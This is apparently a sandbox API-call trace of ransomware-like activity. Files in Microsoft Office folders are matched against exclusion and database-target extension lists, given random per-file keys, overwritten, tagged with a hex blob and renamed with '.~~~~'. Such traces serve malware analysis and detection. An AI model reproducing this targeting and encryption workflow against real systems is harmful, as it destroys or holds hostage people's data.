	[0136.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".DTXS") returned 0x0
	[0136.333] lstrlenW (lpString=".ckp") returned 4
	[0136.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".ckp") returned 0x0
	[0136.333] lstrlenW (lpString=".dbt") returned 4
	[0136.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".dbt") returned 0x0
	[0136.333] lstrlenW (lpString=".db") returned 3
	[0136.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".db") returned 0x0
	[0136.333] lstrlenW (lpString=".TXT") returned 4
	[0136.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".TXT") returned 0x0
	[0136.333] lstrlenW (lpString=".MDF") returned 4
	[0136.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".MDF") returned 0x0
	[0136.334] lstrlenW (lpString=".bdb") returned 4
	[0136.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".bdb") returned 0x0
	[0136.334] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0136.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.334] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394f48) returned 1
	[0136.335] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.335] CryptReleaseContext (hProv=0x394f48, dwFlags=0x0) returned 1
	[0136.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0136.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0136.335] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25632557198) returned 1
	[0136.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbab37090, dwHighDateTime=0x1d60e1e)) 
	[0136.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0136.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0136.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0136.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28253c8
	[0136.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28253c8 | out: hHeap=0x300000) returned 1
	[0136.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce2d8
	[0136.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c51b0
	[0136.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce2d8 | out: hHeap=0x300000) returned 1
	[0136.336] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0136.337] GetLastError () returned 0x0
	[0136.337] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0136.337] GetLastError () returned 0x0
	[0136.341] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.341] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0136.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0136.343] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.343] WriteFile (in: hFile=0x108, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.345] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.345] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.345] CloseHandle (hObject=0x108) returned 1
	[0136.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c58d0
	[0136.346] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs.~~~~")) returned 1
	[0136.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c58d0 | out: hHeap=0x300000) returned 1
	[0136.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0136.348] GetLastError () returned 0x0
	[0136.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".scr") returned 0x0
	[0136.349] lstrlenW (lpString=".cmd") returned 4
	[0136.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".cmd") returned 0x0
	[0136.349] lstrlenW (lpString=".dll") returned 4
	[0136.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".dll") returned 0x0
	[0136.349] lstrlenW (lpString=".bat") returned 4
	[0136.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".bat") returned 0x0
	[0136.349] lstrlenW (lpString=".cpl") returned 4
	[0136.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".cpl") returned 0x0
	[0136.349] lstrlenW (lpString=".sys") returned 4
	[0136.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".sys") returned 0x0
	[0136.349] lstrlenW (lpString=".msc") returned 4
	[0136.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".msc") returned 0x0
	[0136.349] lstrlenW (lpString=".com") returned 4
	[0136.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".com") returned 0x0
	[0136.349] lstrlenW (lpString=".lnk") returned 4
	[0136.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".lnk") returned 0x0
	[0136.349] lstrlenW (lpString=".msp") returned 4
	[0136.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".msp") returned 0x0
	[0136.349] lstrlenW (lpString=".pif") returned 4
	[0136.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".pif") returned 0x0
	[0136.349] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
	[0136.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0136.352] lstrlenW (lpString=".sqb") returned 4
	[0136.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".sqb") returned 0x0
	[0136.352] lstrlenW (lpString=".ost") returned 4
	[0136.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".ost") returned 0x0
	[0136.352] lstrlenW (lpString=".txt") returned 4
	[0136.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".txt") returned 0x0
	[0136.352] lstrlenW (lpString=".mdt") returned 4
	[0136.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".mdt") returned 0x0
	[0136.352] lstrlenW (lpString=".BDB") returned 4
	[0136.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".BDB") returned 0x0
	[0136.352] lstrlenW (lpString=".eql") returned 4
	[0136.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".eql") returned 0x0
	[0136.352] lstrlenW (lpString=".DBF") returned 4
	[0136.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".DBF") returned 0x0
	[0136.352] lstrlenW (lpString=".EQL") returned 4
	[0136.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".EQL") returned 0x0
	[0136.352] lstrlenW (lpString=".FDB") returned 4
	[0136.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".FDB") returned 0x0
	[0136.352] lstrlenW (lpString=".EDB") returned 4
	[0136.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".EDB") returned 0x0
	[0136.353] lstrlenW (lpString=".DACPAC") returned 7
	[0136.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0136.353] lstrlenW (lpString=".VHD") returned 4
	[0136.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".VHD") returned 0x0
	[0136.353] lstrlenW (lpString=".DBV") returned 4
	[0136.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".DBV") returned 0x0
	[0136.353] lstrlenW (lpString=".dacpac") returned 7
	[0136.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0136.353] lstrlenW (lpString=".sdf") returned 4
	[0136.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".sdf") returned 0x0
	[0136.353] lstrlenW (lpString=".accdb") returned 6
	[0136.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".accdb") returned 0x0
	[0136.353] lstrlenW (lpString=".DBX") returned 4
	[0136.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".DBX") returned 0x0
	[0136.353] lstrlenW (lpString=".MDT") returned 4
	[0136.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".MDT") returned 0x0
	[0136.353] lstrlenW (lpString=".SQB") returned 4
	[0136.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".SQB") returned 0x0
	[0136.353] lstrlenW (lpString=".vhd") returned 4
	[0136.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".vhd") returned 0x0
	[0136.353] lstrlenW (lpString=".bac") returned 4
	[0136.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".bac") returned 0x0
	[0136.353] lstrlenW (lpString=".mdf") returned 4
	[0136.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".mdf") returned 0x0
	[0136.354] lstrlenW (lpString=".BAK") returned 4
	[0136.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".BAK") returned 0x0
	[0136.354] lstrlenW (lpString=".BAC") returned 4
	[0136.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".BAC") returned 0x0
	[0136.354] lstrlenW (lpString=".dbs") returned 4
	[0136.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".dbs") returned 0x0
	[0136.354] lstrlenW (lpString=".vhdx") returned 5
	[0136.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0136.354] lstrlenW (lpString=".NDF") returned 4
	[0136.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".NDF") returned 0x0
	[0136.354] lstrlenW (lpString=".dat") returned 4
	[0136.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".dat") returned 0x0
	[0136.354] lstrlenW (lpString=".DBS") returned 4
	[0136.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".DBS") returned 0x0
	[0136.354] lstrlenW (lpString=".CKP") returned 4
	[0136.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".CKP") returned 0x0
	[0136.354] lstrlenW (lpString=".edb") returned 4
	[0136.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".edb") returned 0x0
	[0136.354] lstrlenW (lpString=".PST") returned 4
	[0136.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".PST") returned 0x0
	[0136.354] lstrlenW (lpString=".dbf") returned 4
	[0136.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".dbf") returned 0x0
	[0136.355] lstrlenW (lpString=".SQL") returned 4
	[0136.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".SQL") returned 0x0
	[0136.355] lstrlenW (lpString=".pst") returned 4
	[0136.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".pst") returned 0x0
	[0136.355] lstrlenW (lpString=".dbv") returned 4
	[0136.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".dbv") returned 0x0
	[0136.355] lstrlenW (lpString=".SDF") returned 4
	[0136.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".SDF") returned 0x0
	[0136.355] lstrlenW (lpString=".dtxs") returned 5
	[0136.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0136.355] lstrlenW (lpString=".db3") returned 4
	[0136.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".db3") returned 0x0
	[0136.355] lstrlenW (lpString=".OST") returned 4
	[0136.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".OST") returned 0x0
	[0136.355] lstrlenW (lpString=".dbx") returned 4
	[0136.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".dbx") returned 0x0
	[0136.355] lstrlenW (lpString=".DB3") returned 4
	[0136.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".DB3") returned 0x0
	[0136.355] lstrlenW (lpString=".DAT") returned 4
	[0136.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".DAT") returned 0x0
	[0136.355] lstrlenW (lpString=".VHDX") returned 5
	[0136.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0136.356] lstrlenW (lpString=".ndf") returned 4
	[0136.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".ndf") returned 0x0
	[0136.356] lstrlenW (lpString=".DB") returned 3
	[0136.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".DB") returned 0x0
	[0136.356] lstrlenW (lpString=".sql") returned 4
	[0136.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".sql") returned 0x0
	[0136.356] lstrlenW (lpString=".MYD") returned 4
	[0136.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".MYD") returned 0x0
	[0136.356] lstrlenW (lpString=".DBT") returned 4
	[0136.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".DBT") returned 0x0
	[0136.356] lstrlenW (lpString=".ACCDB") returned 6
	[0136.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0136.356] lstrlenW (lpString=".fdb") returned 4
	[0136.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".fdb") returned 0x0
	[0136.356] lstrlenW (lpString=".bak") returned 4
	[0136.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".bak") returned 0x0
	[0136.356] lstrlenW (lpString=".myd") returned 4
	[0136.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".myd") returned 0x0
	[0136.356] lstrlenW (lpString=".DTXS") returned 5
	[0136.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0136.356] lstrlenW (lpString=".ckp") returned 4
	[0136.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".ckp") returned 0x0
	[0136.356] lstrlenW (lpString=".dbt") returned 4
	[0136.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".dbt") returned 0x0
	[0136.357] lstrlenW (lpString=".db") returned 3
	[0136.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".db") returned 0x0
	[0136.357] lstrlenW (lpString=".TXT") returned 4
	[0136.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".TXT") returned 0x0
	[0136.357] lstrlenW (lpString=".MDF") returned 4
	[0136.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".MDF") returned 0x0
	[0136.357] lstrlenW (lpString=".bdb") returned 4
	[0136.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".bdb") returned 0x0
	[0136.357] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0136.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.357] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3949f8) returned 1
	[0136.358] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.358] CryptReleaseContext (hProv=0x3949f8, dwFlags=0x0) returned 1
	[0136.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0136.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0136.359] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25634897583) returned 1
	[0136.359] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbab83350, dwHighDateTime=0x1d60e1e)) 
	[0136.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0136.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0136.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0136.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825400
	[0136.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825400 | out: hHeap=0x300000) returned 1
	[0136.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce2d8
	[0136.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c51b0
	[0136.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce2d8 | out: hHeap=0x300000) returned 1
	[0136.360] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0136.360] GetLastError () returned 0x0
	[0136.360] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0136.360] GetLastError () returned 0x0
	[0136.627] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffffd89, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.627] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x277, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x277, lpOverlapped=0x0) returned 1
	[0136.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0136.627] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.627] WriteFile (in: hFile=0x108, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
